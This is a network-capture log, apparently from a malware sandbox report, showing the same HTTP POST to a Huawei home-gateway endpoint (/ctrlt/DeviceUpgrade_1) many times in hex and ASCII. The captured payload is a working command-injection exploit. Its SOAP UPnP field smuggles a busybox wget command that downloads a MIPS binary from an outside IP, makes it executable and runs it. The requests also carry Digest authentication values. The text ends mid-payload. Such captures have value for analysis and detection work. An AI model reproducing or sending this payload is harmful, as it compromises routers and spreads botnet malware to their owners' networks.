53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	35484	156.247.25.151	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:51.994554996 CET	1902	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:53.603458881 CET	1932	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:55.523350000 CET	1987	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:59.330648899 CET	2103	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:07.009696007 CET	2297	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:22.367614985 CET	2715	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	156.247.25.151	37215	192.168.2.23	35484

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:51.994554996 CET	1902	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:53.603458881 CET	1932	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:55.523350000 CET	1987	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh 